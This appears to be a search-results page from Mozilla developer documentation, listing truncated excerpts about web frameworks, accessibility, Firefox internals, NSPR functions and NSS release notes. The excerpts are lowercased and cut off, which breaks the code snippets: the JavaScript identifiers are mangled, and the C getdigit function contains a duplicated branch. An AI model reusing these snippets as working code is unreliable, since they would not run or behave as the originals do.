e declared: <checkbox @value={{this.somedata}} @ontoggle={{fn (mut this.somedata) (not this.somedata)}} /> whereas, without mut, a component class would be needed: import component from '@glimmer/component'; import { tracked } from '@glimmer/tracking'; import { action } from '@ember/object'; export default class example extends component { @tracked somedata = false; @action setdata(newvalue) { this.somedata = newvalue; } } which would then be called in the template like so: <checkbox @data={{this.somedata}} @onchange={{this.setdata}} /> due to the conciseness of using mut, it may be desireable to reach for it.
... there have been a coupleof new ideas put together into the form of addons that use the public apis, ember-set-helper and ember-box.
...ources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app ...
Routing in Ember - Learn web development
creating the routes let's start by creating three new routes: "index", "active" and "completed".
... to do this you’ll need to enter the following commands into your terminal, inside the root directory of your app: ember generate route index ember generate route completed ember generate route active the second and third commands should have not only generated new files, but also updated an existing file, app/router.js.
...ources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app ...
Getting started with React - Learn web development
create-react-app uses this name to make a new directory, then creates the necessary files inside it.
...the scripts installed by create-react-app will start being served at a local server at localhost:3000, and open the app in a new browser tab.
...ources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app ...
React resources - Learn web development
it adds a new panel to your browser's developer tools, and with it you can inspect the state and props of various components, and even edit state and props to make immediate changes to your application.
... focus management is essential in client-side routing — without it, keyboard users can be trapped in focus limbo, and screen-reader users may have no idea that they have moved to a new page.
...ources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app ...
Rendering a list of Vue components - Learn web development
while we'll eventually add a mechanism to add new todo items, we can start with some mock to do items.
... add a new prop to your todoitem component — id.
...ources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app ...
Handling common accessibility problems - Learn web development
you can try this out using our native-keyboard-accessibility.html example (see the source code) — open this in a new tab, and try pressing the tab key; after a few presses, you should see the tab focus start to move through the different focusable elements; the focused elements are given a highlighted default style in every browser (it differs slightly between different browsers) so that you can tell what element is focused.
... important: you should perform this kind of test on any new page you write — make sure the functionality can be accessed by the keyboard.
...if you do need complexity, you should consider using wai-aria (accessible rich internet applications), a specification that provides semantics (in the form of new html attributes) for items such as complex form controls and updating panels that can be understood by most browsers and screen readers.
Implementing feature detection - Learn web development
a classic example might be to test for flexbox support in a browser; for browsers that support the newest flexbox spec, we could use a flexible and robust flex layout.
...save them in a new directory.
... finally, add another <script> element at the bottom of the html body (just before the </body> tag), and put the following script inside the tags: if (modernizr.geolocation) { navigator.geolocation.getcurrentposition(function(position) { let latlng = new google.maps.latlng(position.coords.latitude,position.coords.longitude); let myoptions = { zoom: 8, center: latlng, maptypeid: google.maps.maptypeid.terrain, disabledefaultui: true } let map = new google.maps.map(document.getelementbyid("map_canvas"), myoptions); }); } else { const para = document.createelement('p'); para.textcontent = 'argh, no geolocati...
Client-side tooling overview - Learn web development
there are some extremely well-established tools that have become common "household names" amongst the development community, and new tools are being written and released every day to solve specific problems.
...for example, you might want to write javascript using cutting-edge new language features, but still have your final production code work on older browsers that don’t support those features.
... it often takes some time for new developer tools to settle down in their complexity.
Information for External Developers Dealing with Accessibility
accessible toolkit checklist a list of what needs to be done for accessibility when building new toolkits, widget by widget.
... newsgroup and mailing list we have two discussion lists, which can be read via a newsgroup reader, as a mailing list or via google groups.
... purpose newsgroup mailing list google group developer discussion mozilla.dev.accessibility subscribe/unsubscribe google group end user support mozilla.support.accessibility subscribe/unsubscribe google group ...
Mozilla’s UAAG evaluation report
this evaluation does not cover mailnews or composer.
... zooming can be controlled via hotkeys ctrl+plus and ctrl+minus the prefs are at preferences, appearances, fonts there is also a hidden pref line that can be added to prefs.js, if you just want to change the minimum font size for a certain font: user_pref("font.minimum-size.x-western", newfontsizeinpoints); for other i18n charsets, change x-western to x-central-euro, x-cyrillic, x-unicode, x-user-def, x-baltic, el, tr, he, ar, th, ja, zh-cn or zh-tw 4.2 configure font family.
...g popup behavior: turn window.open off for particular sites: user_pref("capability.policy.popupsites.sites", "http://www.annoyingsite1.com http://www.popupsite2.com"); user_pref("capability.policy.popupsites.windowinternal.open", "noaccess"); or turn it off everywhere: user_pref("capability.policy.default.windowinternal.open", "noaccess"); override popping up new windows on target=anything: user_pref("browser.target_new_blocked", true); override popup windows at beginning of new page load (blocks most popup advertisements): user_pref("dom.disable_open_during_load", true); 5.4 selection and focus in viewport.
Index
if you just want to get started, head to the submit a new add-on page on amo.
...once you have defined the colors and image for your theme, the generator will submit your new theme to amo.
...add-ons hosted on amo automatically receive updates to new versions posted there.
Add-ons
among other things, an add-on could: change the appearance or content of particular websites modify the firefox user interface add new features to firefox there are several types of add-ons, but the most common type are extensions.
...rview of the firefox extension features tools and processes for developing and testing how to publish your extension on addons.mozilla.org or distribute it yourself how to manage your published extension an enterprise guide for developing and using extensions how to develop themes for firefox firefox developer communities extensions for firefox for android in 2020, mozilla will release a new firefox for android experience.
... this new, high-performance browser for android has been rebuilt from the ground up using geckoview, mozilla’s mobile browser engine.
Creating a Firefox sidebar
an extension an extension is a kind of add-ons that adds new functionalities to firefox.
...there are some ways to create an extension: the new sidebar api has been implemented in firefox 29 as part of the add-on sdk.
...the new social api or an extension can be used instead as described above.
Creating reftest-based unit tests
new tests can be added to the reftest.list file, which can contain any number of tests.
...keep in mind new tests should fit a 600x600 window so we can test on mobile platforms easier.
...the cost of adding a new test to an automated suite is very, very low.
The Firefox codebase: CSS Guidelines
also, it is good practice to introduce a common class when the new element you are styling reuses some styles from another element, this allows the maintenance cost and the amount of code duplication to be reduced.
... using css variables adding new variables before adding new css variables, please consider the following questions: is the variable value changed at runtime?
... for new css, when possible try to privilege using the shared directory, instead of writing the same css for the 3 platform specific directories, especially for large blocks of css.
Using the Browser API
MozillaGeckoChromeAPIBrowser APIUsing
api extensions: the api includes several new methods and events to manipulate and listen for changes to the embedded content's state, interited by the htmliframeelement interface.
...we then set the browser iframe's src attribute to equal the value of the url bar, which causes the new url to be loaded in the iframe.
... other methods and events we've only covered a fraction of the new methods and events that the browser api adds.
mozbrowseropentab
the mozbrowseropentab event is fired when a new tab is opened within a browser <iframe> as a result of the user issuing a command to open a link target in a new tab (for example ctrl/cmd + click.) general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the ...
... details the details property returns an anonymous javascript object with the following properties: url a domstring representing the url of the new document loaded.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowseropentab", function( event ) { console.log("a new document has opened containing the content at " + event.details.url + "."); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowsersecuritychange mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowserresize
details the details property returns an anonymous javascript object with the following properties: width a number representing the new width of the <iframe> viewport, in device pixels.
... height a number representing the new height of the <iframe> viewport, in device pixels.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserresize", function( event ) { console.log("the new window size is " + event.details.width + " x " + event.details.height + "."); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowsersecuritychange mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowserscroll
details the details property returns an anonymous javascript object with the following properties: top a number representing the new vertical scroll position of the <iframe> viewport — in css pixels — from the top of the viewport.
... left a number representing the new horizontal scroll position of the <iframe> viewport — in css pixels — from the left of the viewport.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserscroll", function( event ) { console.log("the new scroll position is " + event.details.left + " across and " + event.details.top + "down."); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowsersecuritychange mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowserscrollareachanged
details the details property returns an anonymous javascript object with the following properties: width a number representing the new scroll area width of the <iframe> viewport, in css pixels.
... height a number representing the new scroll area height of the <iframe> viewport, in css pixels.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserscrollareachanged", function( event ) { console.log("the new scroll area is " + event.details.width + " x " + event.details.height + "."); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowsersecuritychange mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
Embedding the editor
this will involve: making a new interface, nsieditorframe, that is implemented by nsdocshell or a related class.
...the plan is to insulate composer from the ui via a new interface that the embedder implements.
... use a new interface, nsieditoruserinterface, to mediate communication between the editor and the ui.
HTML parser threading
these objects are memory managed as follows: attribute holders (nshtml5htmlattributes objects) are allocated using new by the tokenizer.
...it acquires mspeculationmutex and while holding it, it creates a new speculation and adds it to the queue of speculations, flushes the tree ops to the main thread, marks the nshtml5streamparser as being in a speculating state and sets the newly created speculation object as the tree op sink (instead of the tree op stage described earlier) of the tree builder.
...the mutex acquisition only blocks if the parser thread happens to be setting up a new speculation object at the same moment.
Getting Started with Chat
the general rules and etiquette are still useful for our new home.
... chanserv this bot allows you to register new channels and control aspects of channels.
... further reading irc channel operator's guide (new version) irc channel operator's guide (old version) [from 1995, but still quite useful] ...
Add-on Manager
through its apis information about all installed add-ons can be retrieved and new add-ons can be installed.
... installing new add-ons new add-ons can be installed by using the getinstallforfile() or getinstallforurl() methods on the addonmanager object.
...it must be passed an updatelistener to receive information about compatibility information and new update information.
Assert.jsm
; promise rejects(promise, expected, message); undefined greater(lhs, rhs, message); undefined greaterorequal(lhs, rhs, message); undefined less(lhs, rhs, message); undefined lessorequal(lhs, rhs, message); undefined setreporter(reporterfunc); undefined report(failed, actual, expected, message, operator); constructor creates a new assert object.
... let assert = new assert(reporterfunc); the new assert instance, assert, uses reporterfunc to report assertion results or throws an assertionerror when an assertion fails, as default behavior.
... parameters failed indicates if the assertion failed or not actual the result of evaluating the assertion expected expected result from the test author message short explanation of the expected result operator operation qualifier used by the assertion method (ex: '==') examples custom reporter example components.utils.import("resource://testing-common/assert.jsm"); let assert = new assert(); assert.setreporter(function customreporter(err, message, stack) { if (err) { do_report_result(false, err.message, err.stack); } else { do_report_result(true, message, stack); } }); ...
Download
a new download object can be created using the downloads.createdownload() function.
... note: if you need to start a new download from the same source, rather than restarting a failed or canceled one, you should create a separate download object with the same source as the current one.
... after this method has been called, if the trytokeeppartialdata property is still true when the download is restarted, partial data will be retained during the new download attempt.
Task.jsm
; throw new task.result("value"); } note: if you want to exit early from a generator function, without returning a value for the task, you can just use the return statement without any arguments.
...; return "value"; } methods async() create and return an "async function" that starts a new task.
...}); // behaves the same spawn() creates and starts a new task.
Webapps.jsm
t: function(amsg, amm) dolaunch: function (adata, amm) launch: function launch(amanifesturl, astartpoint, atimestamp, aonsuccess, aonfailure) close: function close(aapp) canceldownload: function canceldownload(amanifesturl, aerror) startofflinecachedownload: function(amanifest, aapp, aprofiledir, aisupdate) computemanifesthash: function(amanifest) updateapphandlers: function(aoldmanifest, anewmanifest, aapp) checkforupdate: function(adata, amm) doinstall: function doinstall(adata, amm) doinstallpackage: function doinstallpackage(adata, amm) pushcontentaction: function(windowid) popcontentaction: function(windowid) actioncancelled: function(windowid) denyinstall: function(adata) _setupapp: function(adata, aid) _cloneapp: function(adata, anewapp, alocalemanifest, amanifest, aid,...
... alocalid) _writemanifestfile: function(aid, aispackage, ajsonmanifest) _nextlocalid: function() _appidformanifesturl: function(auri) makeappid: function() _saveapps: function() _readmanifests: function(adata) _ensuresufficientstorage: function(anewapp) _checkdownloadsize: function(afreebytes, anewapp) _getrequestchannel: function(afullpackagepath, aislocalfileinstall, aoldapp,) _senddownloadprogressevent: function(anewapp, aprogress) _getpackage: function(arequestchannel, aid, aoldapp, anewapp) _computefilehash: function(afilepath) _sendappliedevent: function(aapp) _openandreadpackage: function(azipfile, aoldapp, anewapp, aislocalfileinstall,) _openpackage: function(azipfile, aapp, aislocalfileinstall) _opensignedpackage: function(ainstallorigin, amanifesturl, azipfile, acert...
...db) _readpackage: function(aoldapp, anewapp, aislocalfileinstall, aisupdate,) _checksignature: function(aapp, aissigned, aislocalfileinstall) _saveetag: function(aisupdate, aoldapp, arequestchannel, ahash, amanifest) _checkorigin: function(aissigned, aoldapp, amanifest, aisupdate) _getids: function(aissigned, azipreader, aconverter, anewapp, aoldapp,) _checkforstoreidmatch: function(aisupdate, anewapp, astoreid, astoreversion) revertdownloadpackage: function(aid, aoldapp, anewapp, aisupdate, aerror) uninstall: function(amanifesturl) _promptforuninstall: function(adata) confirmuninstall: function(adata) denyuninstall: function(adata, areason = "error_unknown_failure") getself: function(adata, amm) checkinstalled: function(adata, amm) getinstalled: function(adata, amm) getnotinst...
XPCOMUtils.jsm
if not // provided, the default factory is used, which returns // |(new mycomponent()).queryinterface(iid)| in its createinstance().
... function definelazygetter( aobject, aname, alambda ); parameters aobject the object into which to add the new lazy getter function.
... function definelazyservicegetter( aobject, aname, acontract, ainterfacename ); parameters aobject the object into which to add the new lazy service getter function.
QA phase
enter the following command to perform the configuration: $ ./mach configure once your command-line finishes spitting out the config command's output, navigate to the newly created directory: $ cd ../firefox-build/browser/locales now you're ready to build!
... after your new repository is created by the l10n-drivers, please visit the url for your repo.
...you might have created it yourself by running hg init or hg clone or you might have had it created by koala when you were setting up a new localization project.
SVN for Localizers
when localizing websites, l10n-drivers will always add needed files to your repository or update your files with new strings in english.
... it's very important for you to update your working copy with the newest files from mozilla svn repository before you start making changes.
... enter the following command from the command-line: svn update your local svn repository (i.e., working directory) will be updated with the newest files from the url you initially cloned your repository from.
Creating localizable web content
depending on context, find alternate strings or document an explanation of the string for localizers check that we don't link in new pages to sub-pages with anchors.
... e.g.: a new page is announced with only 100 words but it is actually content added to an existing page in english.
...if there are alternatives, use them by adding the $lang; parameter in the urls evaluate the impact of new pages on all our web properties, especially links to community sites and redirects.
Mozilla Framework Based on Templates (MFBT)
it is fairly new, so its functionality is currently sparse.
... feel free to file bugs to add new functionality to it, or to move existing functionality into it, as needed.
...most new code should use this rather than prclist.
Updates
this new version comes with several bug fixes and new features for mathml.
... some improvements are particularly worth noting: a new html parser, which lets you use mathml inside non-xhtml documents.
... april 2010 new web pages for the mozilla mathml project!
Mozilla projects on GitHub
bugsahoy a web page to help new mozilla contributors identify bugs to fix.
... firefox-dev.tools a web page to help new mozilla contributors find bugs to work on that relate to the firefox developer tools.
... opennews the knight-mozilla open news project, helping the journalism/technology community do great work through shared knowledge and code.
Profiling with Xperf
this page applies to xperf version 4.8.7701 or newer.
...if you change it within the program, you'll have to close all summary tables and reopen them for it to pick up the new symbol path data.
...to start a trace session, launching a new firefox instance: xperf -on base xperf -start heapsession -heap -pidnewprocess "./firefox.exe -p test -no-remote" -stackwalk heapalloc+heaprealloc -buffersize 512 -minbuffers 128 -maxbuffers 512 to stop a session and merge the resulting files: xperf -stop heapsession -d heap.etl xperf -d main.etl xperf -merge main.etl heap.etl result.etl "result.etl" will contain your merged data; you can dele...
browser.search.context.loadInBackground
browser.search.context.loadinbackground controls whether a search from the context menu with "search <search engine> for <selected text>" opening a new tab will give focus to it and load it in the foreground or keep focus on the current tab and open it in the background.
... type:boolean default value:false exists by default: yes application support: firefox 13.0 status: active; last updated 2012-02-17 introduction: pushed to nightly on 2012-02-15 bugs: bug 727131 values true new tab with search results will be opened in the background, focus stays on the current tab.
... false (default) new tab with search results will be opened in the foreground.
I/O Functions
two new functions, pr_transmitfile and pr_acceptread, can exploit the new system calls of some operating systems for higher performance.
... list of functions: pr_openudpsocket pr_newudpsocket pr_opentcpsocket pr_newtcpsocket pr_importtcpsocket pr_connect pr_connectcontinue pr_accept pr_bind pr_listen pr_shutdown pr_recv pr_send pr_recvfrom pr_sendto pr_transmitfile pr_acceptread pr_getsockname pr_getpeername pr_getsocketoption pr_setsocketoption converting between host and network addresses pr_ntohs pr_ntohl pr_htons pr_htonl pr_familyinet memory-mapped i/o functions the memory-mapped i/o functions allow sections of a file to be mapped to memory regions, allowing read-write accesses to the file to be accomplished by normal memory accesses.
... pr_newpollableevent pr_destroypollableevent pr_setpollableevent pr_waitforpollableevent one can call pr_poll with the pr_poll_read flag on a pollable event.
NSPR LOG MODULES
syntax modulename:level[, modulename:level]* modulename is the name specified in a pr_newlogmodule call or one of the handy magic names listed below.
... description specify a modulename that is associated with the name argument in a call to pr_newlogmodule and a non-zero level value to enable logging for the named modulename.
... if not specified, the existing contents of nspr_log_file will be lost as a new file is created with the same filename.
PR_AcceptRead
accepts a new connection and receives a block of data.
...on return, *acceptedsock points to the prfiledesc object for the newly connected socket.
... description pr_acceptread accepts a new connection and retrieves the newly created socket's descriptor and the connecting peer's address.
PR ImportTCPSocket
returns the function returns one of the following values: upon successful completion, a pointer to the prfiledesc object created for the newly imported native tcp socket.
...of course, it is best if you just use pr_opentcpsocket or pr_newtcpsocket.
... if you are not sure whether pr_importtcpsocket is right for you, please ask in the mozilla.dev.tech.nspr newsgroup.
PR_Open
mode when pr_create_file flag is set and the file is created, these flags define the access permission bits of the newly created file.
... 0007 read, write, execute/search by others pr_iroth 0004 read permission, others pr_iwoth 0002 write permission, others pr_ixoth 0001 execute/search permission, others returns the function returns one of the following values: if the file is successfully opened, a pointer to a dynamically allocated prfiledesc for the newly opened file.
...if a new file is created as a result of the pr_open call, its file mode bits are set according to the mode parameter.
PR_PushIOLayer
id a prdescidentity object for the layer on the stack above which the new layer is to be added.
... layer a pointer to a prfiledesc object representing the new layer to be added to the stack.
...the new layer is inserted into the stack just above the layer with the identity specified by id.
PR_Realloc
size the size of the new memory block.
... description this function attempts to enlarge or shrink the memory block addressed by ptr to a new size.
... the contents of the specified memory remains the same up to the smaller of its old size and new size, although the new memory block's address can be different from the original address.
PR_Rename
to the new name of the file.
... description pr_rename renames a file from its old name (from) to a new name (to).
... if a file with the new name already exists, pr_rename fails with the error code pr_file_exists_error.
Threads
creating, joining, and identifying threads controlling thread priorities interrupting and yielding setting global thread concurrency getting a thread's scope creating, joining, and identifying threads pr_createthread creates a new thread.
...after a thread has been created, you can get and set its priority with these functions: pr_getthreadpriority pr_setthreadpriority controlling per-thread private data you can use these functions to associate private data with each of the threads in a process: pr_newthreadprivateindex allocates a unique index.
... if the call is successful, every thread in the same process is capable of associating private data with the new index.
Deprecated SSL functions
the following ssl functions have been replaced with newer versions.
... the deprecated functions are not supported by the new ssl shared libraries.
... applications that want to use the ssl shared libraries must convert to calling the new replacement functions listed below.
NSS_3.11.10_release_notes.html
nss 3.11.10 release notes 2008-12-10 newsgroup: <ahref="news: mozilla.dev.tech.crypto"="" news.mozilla.org="">mozilla.dev.tech.crypto</ahref="news:> contents introduction distribution information bugs fixed documentation compatibility feedback introduction network security services (nss) 3.11.10 is a patch release for nss 3.11.
...token doesn't report token authentication failure bug 417637: tstclnt crashes if -p option is not specified bug 421634: don't send an sni client hello extension bearing an ipv6 address bug 422918: add verisign class 3 public primary ca - g5 to nss bug 424152: add thawte primary root ca to nss bug 424169: add geotrust primary certification authority root to nss bug 425469: add multiple new roots: geotrust bug 426568: add comodo certification authority certificate to nss bug 431381: add network solutions certificate authority root to nss bug 431621: add diginotar root ca root to nss bug 431772: add network solutions and diginotar root certs to nss bug 442912: fix nssckbi version number on 3.11 branch bug 443045: fix pk11_generatekeypair for ecc keys on the 3.11 branch ...
...new and revised documents available since the release of nss 3.9 include the following: build instructions for nss 3.11.4 and above compatibility nss 3.11.10 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.14.1 release notes
nss 3.14.1 requires nspr 4.9.4 or newer.
... nss 3.14.1 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_14_1_rtm/src/ new in nss 3.14.1 new functionality nss now has the ability to create signed ocsp responses.
... new functions in ocspt.h cert_createocspsingleresponsegood cert_createocspsingleresponseunknown cert_createocspsingleresponserevoked cert_createencodedocspsuccessresponse cert_createencodedocsperrorresponse new types in ocspt.h ​certocspresponderidtype notable changes in nss 3.14.1 windows ce support has been removed from the code base.
NSS 3.15.5 release notes
nss 3.15.5 requires nspr 4.10.2 or newer.
... nss 3.15.5 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_15_5_rtm/src/ new in nss 3.15.5 new functionality added support for the tls application layer protocol negotiation (alpn) extension.
... added a new macro cert_list_tail, defined in certt.h, for getting the tail of a certcertlist.
NSS 3.16.2.1 release notes
nss 3.16.2.1 requires nspr 4.10.6 or newer.
... new in nss 3.16.2.1 new functionality no new functionality is introduced in this release.
... a new symbol, _sgn_verifypkcs1digestinfo is exported in this release.
NSS 3.16.3 release notes
nss 3.16.3 requires nspr 4.10.6 or newer.
... nss 3.16.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_3_rtm/src/ new in nss 3.16.3 this release consists primarily of ca certificate changes as listed below, and fixes an issue with a recently added utility function.
... new functions in cert.h ​cert_getgeneralnametypefromstring - an utlity function to lookup a value of type certgeneralnametype given a human readable string.
NSS 3.16.5 release notes
nss 3.16.5 requires nspr 4.10.6 or newer.
... new in nss 3.16.5 new functionality no new functionality is introduced in this release.
... a new symbol, _sgn_verifypkcs1digestinfo is exported in this release.
NSS 3.17.4 release notes
nss 3.17.4 requires nspr 4.10.7 or newer.
... nss 3.17.4 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_17_4_rtm/src/ new in nss 3.17.4 new functionality no new functionality is introduced in this release.
... bug 1112461: libpkix was fixed to prefer the newest certificate, if multiple certificates match.
NSS 3.23 release notes
nss 3.23 requires nspr 4.12 or newer.
... nss 3.23 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_23_rtm/src/ new in nss 3.23 new functionality chacha20/poly1305 cipher and tls cipher suites now supported (bug 917571, bug 1227905) experimental-only support tls 1.3 1-rtt mode (draft-11).
... new functions in ssl.h ssl_setdowngradecheckversion - set maximum version for new serverrandom anti-downgrade mechanism.
NSS 3.25 release notes
nss 3.25 requires netscape portable runtime (nspr) 4.12 or newer.
... source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_25_rtm/src/ new in nss 3.25 new functionality implemented dhe key agreement for tls 1.3.
... new functions in nssckfw.h nssckfwslot_getslotid nssckfwsession_getfwslot nssckfwinstance_destroysessionhandle nssckfwinstance_findsessionhandle notable changes in nss 3.25 an ssl socket can no longer be configured to allow both tls 1.3 and ssl v3.
NSS 3.27 release notes
nss 3.27 requires netscape portable runtime (nspr) 4.13 or newer.
... nss 3.27 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_27_rtm/src/ new in nss 3.27 new functionality allow custom named group priorities for tls key exchange handshake (ssl_namedgroupconfig).
... added support for rsa-pss signatures in tls 1.2 and tls 1.3 new functions in ssl.h ssl_namedgroupconfig notable changes in nss 3.27 update 2016-10-02: the maximum tls version supported has been increased to tls 1.3 (draft).
NSS 3.29.1 release notes
nss 3.29.1 requires netscape portable runtime (nspr) 4.13.1 or newer.
... nss 3.29.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/security/nss/releases/nss_3_29_1_rtm/src/ new in nss 3.29.1 new functionality no new functionality is introduced in this release.
... seckeyecpublickey had been extended with a new attribute, named "encoding".
NSS 3.33 release notes
nss 3.33 requires netscape portable runtime (nspr) 4.17, or newer.
... new in nss 3.33 new functionality when listing an nss database, using certutil -l, and the database hasn't yet been initialized with any non-empty or empty password, the text "database needs user init" will be included in the listing.
... new functions in cert.h cert_findcertbyissuerandsncx - a variation of existing function cert_findcertbyissuerandsn that accepts an additional password context parameter.
NSS 3.39 release notes
nss 3.39 requires nspr 4.20 or newer.
... nss 3.39 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_39_rtm/src/ new in nss 3.39 new functionality the tstclnt and selfserv utilities added support for configuring the enabled tls signature schemes using the -j parameter.
... new functions in cert.h cert_getcertkeytype - query the key type associated with the given certificate.
NSS 3.40.1 release notes
nss 3.40.1 requires nspr 4.20 or newer.
... nss 3.40 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_40_1_rtm/src/ new in nss 3.40.1 new functionality no new functionality is introduced in this release.
... this is a patch release to fix cve-2018-12404 new functions none bugs fixed in nss 3.40.1 bug 1485864 - cache side-channel variant of the bleichenbacher attack (cve-2018-12404) compatibility nss 3.40.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.41 release notes
nss 3.41 requires nspr 4.20 or newer.
... nss 3.41 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_41_rtm/src/ new in nss 3.41 new functionality bug 1252891 - implemented eku handling for ipsec ike.
... bug 1493215 - enabled the following ciphersuites by default: tls_ecdhe_ecdsa_with_aes_256_gcm_sha384 tls_ecdhe_rsa_with_aes_256_gcm_sha384 tls_dhe_rsa_with_aes_256_gcm_sha384 tls_rsa_with_aes_256_gcm_sha384 new functions none notable changes in nss 3.41 the following ca certificates were added: cn = certigna root ca sha-256 fingerprint: d48d3d23eedb50a459e55197601c27774b9d7b18c94d5a059511a10250b93168 cn = gts root r1 sha-256 fingerprint: 2a575471e31340bc21581cbd2cf13e158463203ece94bcf9d3cc196bf09a5472 cn = gts root r2 sha-256 fingerprint: c45d7bb08e6d67e62e4235110b564e5f78fd92ef058c840aea4e6455d7585c60 cn = gts root r3 sha-256 fingerprint: 15d5b8774619ea7d54ce1ca6d0...
NSS 3.46 release notes
nss 3.46 requires nspr 4.22 or newer.
... new in nss 3.46 this release contains no significant new functionality, but concentrates on providing improved performance, stability, and security.
...n bad values bug 1572791 - read out-of-bounds in der_decodetimechoice_util from sslexp_delegatecredential bug 1560593 - cleanup.sh script does not set error exit code for tests that "failed with core" bug 1566601 - add wycheproof test vectors for aes-kw bug 1571316 - curve25519_32.c:280: undefined reference to `pr_assert' when building nss 3.45 on armhf-linux bug 1516593 - client to generate new random during renegotiation bug 1563258 - fips.sh fails due to non-existent "resp" directories bug 1561598 - remove -wmaybe-uninitialized warning in pqg.c bug 1560806 - increase softoken password max size to 500 characters bug 1568776 - output paths relative to repository in nss coverity bug 1453408 - modutil -changepw fails in fips mode if password is an empty string bug 1564727 - use a ps...
NSS 3.52 release notes
nss 3.52 requires nspr 4.25 or newer.
... bug 1623374 - support new pkcs #11 v3.0 message interface for aes-gcm and chachapoly.
... bug 1623374 - support new pkcs #11 v3.0 message interface for aes-gcm and chachapoly.
NSS Sample Code Utilities_1
*/ /* * newline */ static void newline(prfiledesc* out) { pr_fprintf(out, "\n"); } /* * printasascii */ void printasascii(prfiledesc* out, const unsigned char *data, unsigned int len) { char *b64data = null; b64data = btoa_datatoascii(data, len); pr_fprintf(out, "%s", b64data); pr_fprintf(out, "\n"); if (b64data) { port_free(b64data); } } /* * printashex */ void pr...
...lumn = level; if (!len) { pr_fprintf(out, "(empty)\n"); return; } for (i = 0; i < len; i++) { if (i != len - 1) { pr_fprintf(out, "%02x:", data[i]); column += 3; } else { pr_fprintf(out, "%02x", data[i]); column += 2; break; } if (column > 76 || (i % 16 == limit)) { newline(out); column = level; limit = i % 16; } } if (column != level) { newline(out); } } /* * getdigit */ int getdigit(char c) { if (c == 0) { return -1; } if (c <= '9' && c >= '0') { return c - '0'; } if (c <= 'f' && c >= 'a') { return c - 'a' + 0xa; } if (c <= 'f' && c >= 'a') { retu...
